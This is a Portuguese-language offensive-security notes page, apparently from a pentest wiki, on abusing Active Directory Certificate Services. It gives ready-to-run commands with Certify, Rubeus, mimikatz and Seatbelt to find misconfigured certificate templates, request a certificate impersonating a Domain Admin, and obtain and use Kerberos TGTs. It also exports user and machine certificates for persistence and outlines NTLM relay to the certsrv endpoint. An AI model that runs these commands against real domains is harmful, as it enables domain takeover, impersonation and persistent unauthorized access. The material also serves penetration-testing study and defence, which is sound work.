AD CS (Active Directory Certificate Services)
Os Serviços de Certificados do Active Directory (AD CS) são uma função de servidor que permite criar uma infraestrutura de chave pública (PKI). Isso pode fornecer criptografia de chave pública, certificados digitais e recursos de assinatura digital. Algumas aplicações práticas incluem extensões de correio de Internet seguras/multifuncionais (S/MIME), redes sem fio seguras, rede privada virtual (VPN), segurança de protocolo de Internet (IPsec), sistema de arquivos com criptografia (EFS), logon de cartão inteligente e Secure Socket Layer/ Segurança da camada de transporte (SSL/TLS).
Para localizar a CA (Autoridades de Certificação do) do AD CS em um domínio ou floresta, execute Certify
como no comando abaixo. Atente-se aos campos Enterprise CA Name
, Cert Chain
, pois podemos ver qual CA é subordinada de qual e também se atente em analisar as permissões.
execute-assembly <C:\path\to\Certify\Certify\bin\Release\Certify.exe> cas
Os modelos de certificado AD CS são fornecidos pela Microsoft como ponto de partida para distribuição de certificados. Eles são projetados para serem duplicados e configurados para necessidades específicas. Configurações incorretas nesses modelos podem ser utilizadas para escalonamento de privilégios. Procurando vulnerabilidades em templates
execute-assembly <C:\path\to\Certify\Certify\bin\Release\Certify.exe> find /vulnerable
Analise a saída e verifique se tem a sessão Vulnerable Certificates Templates
. Nele, veja campos como CA Name
e Template Name
. No campo msPKI-Certificate-Name-Flag
, verifique se tem o valor ENROLLEE_SUPPLIES_SUBJECT
, o que significa que temos permissão para que o solicitante do certificado forneça qualquer SAN (Subject Alternative Name - Nome Alternativo do Assunto). No campo Permissions
, veja se algum grupo genérico (ex.: Domain Users) ou algum grupo no qual você faça parte, tenha algum acesso privilegiado. Ter acesso em Enrollment Rights
, significa que qualquer usuário do Domínio pode solicitar um certificado deste template. Sendo assim, podemos solicitar um certificado para algum usuário do Domínio (de preferência algum que seja Domain Admin)
execute-assembly <C:\path\to\Certify\Certify\bin\Release\Certify.exe> request /ca:<CA_Name> /template:<Template_Name> /altname:<user>
Copie o certificado inteiro (a chave privada e o certificado) e salve-o em cert.pem
(em algum Linux). Em seguida, execute o código abaixo para converter o arquivo em pfx
, utilizando uma senha qualquer quando solicitado
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Converta precisamos converter cert.pfx em uma string codificada em base64 para que possa ser usado com Rubeus
cat cert.pfx | base64 -w 0
Fazendo uma requisição de TGT
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<user> /certificate:<base64> /password:<pass> /nowrap
Com o TGT em mãos, execute:
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<SUBDOMAIN> /username:<user> /password:<qualquer_senha> /ticket:<base64-ticket>
steal_token <ProcessID>
NTLM Relaying (HTTP Endpoints)
Os serviços AD CS oferecem suporte a métodos de registro HTTP e até incluem uma GUI. Esse endpoint geralmente é encontrado em http(s)://<hostname>/certsrv
. Se a autenticação NTLM estiver habilitada, esses endpoints estarão vulneráveis a ataques de NTLM Relaying
. Um método de abuso comum, é forçar o DC a se autenticar em um local (provavelmente um host) controlado pelo invasor, retransmitir a solicitação a uma CA para obter um certificado para esse DC e, em seguida, usá-lo para obter um TGT. Um aspecto importante a ser observado é que você não pode retransmitir a autenticação NTLM de volta para a máquina de origem. Portanto, não seríamos capazes de retransmitir um DC para uma CA se esses serviços estivessem sendo executados na mesma máquina. Em resumo, certifique-se de que o CA esteja em execução
Persistência de Usuários Através de Certificados
Enumerando os certificados. Certifique-se de ter um Certificate is used for client authentication!
no final do certificado.
execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> Certificates
Caso o usuário não possua certificado em sua loja, basta solicitar um com Certify
execute-assembly <C:\path\to\Certify\Certify\bin\Release\Certify.exe> request /ca:<dc.domain.local>\<Enterprise_CA_Name> /template:User
Exportando os certificados. Verifique no final se os campos Public export
Private export
estão como OK
.
mimikatz crypto::certificates /export
Para ver os certificados baixados (e também ver a sua localização), vá no Menu View
> Downloads
e utilize o botão Sync Files
na parte inferior da página. Converta o arquivo .pfx
exportado em base64
cat </path/to/CURRENT_USER_<My_0_User>.pfx | base64 -w 0
Utilize o Rubeus para obter um TGT. Note que estamos utilizando a senha mimikatz
. Dessa forma, você solicitará tickets RC4 por padrão, porém você pode forçar o uso de AES256 incluindo o parâmetro /enctype:aes256
.
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<user> /certificate:<certificate> /password:mimikatz /nowrap
Persistência de Computadores Através de Certificados
A forma utilizada aqui é bem parecida com os usuários, porém para computadores, precisamos de acessos privilegiados no OS. Execute o comando abaixo e assim como no caso dos usuários, certifique-se que os campos Public export
Private export
estão como OK
.
mimikatz !crypto::certificates /systemstore:local_machine /export
Vá nos arquivos baixados novamente (Menu View
> Downloads
e utilize o botão Sync Files
) para pegar o certificado e converter em base64
cat </path/to/CURRENT_MACHINE_<My_0_Machone>.pfx | base64 -w 0
Com o resultado do comando acima, execute o comando abaixo. Note que novamente estamos utilizando a senha mimikatz
.
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<hostname>$ /enctype:aes256 /certificate:<certificate> /password:mimikatz /nowrap
Assim como na parte de usuário, vimos que é possível utilizar o Certify quando não temos um certificado armazendo. Com o computador é a mesmo coisa, porém além de alterarmos o template de User
para Machine
, também devemos acrescentar o parâmetro /machine
, pois assim irá elevar nosso acesso para SYSTEM automaticamente.
execute-assembly <C:\path\to\Certify\Certify\bin\Release\Certify.exe> request /ca:<dc.domain.local>\<Enterprise_CA_Name> /template:Machine /machine
Sites
# Certify
https://github.com/GhostPack/Certify
# KrbRelayUp
https://github.com/ShorSec/KrbRelayUp
# KrbRelay
https://github.com/cube0x0/KrbRelay
Last updated
Was this helpful?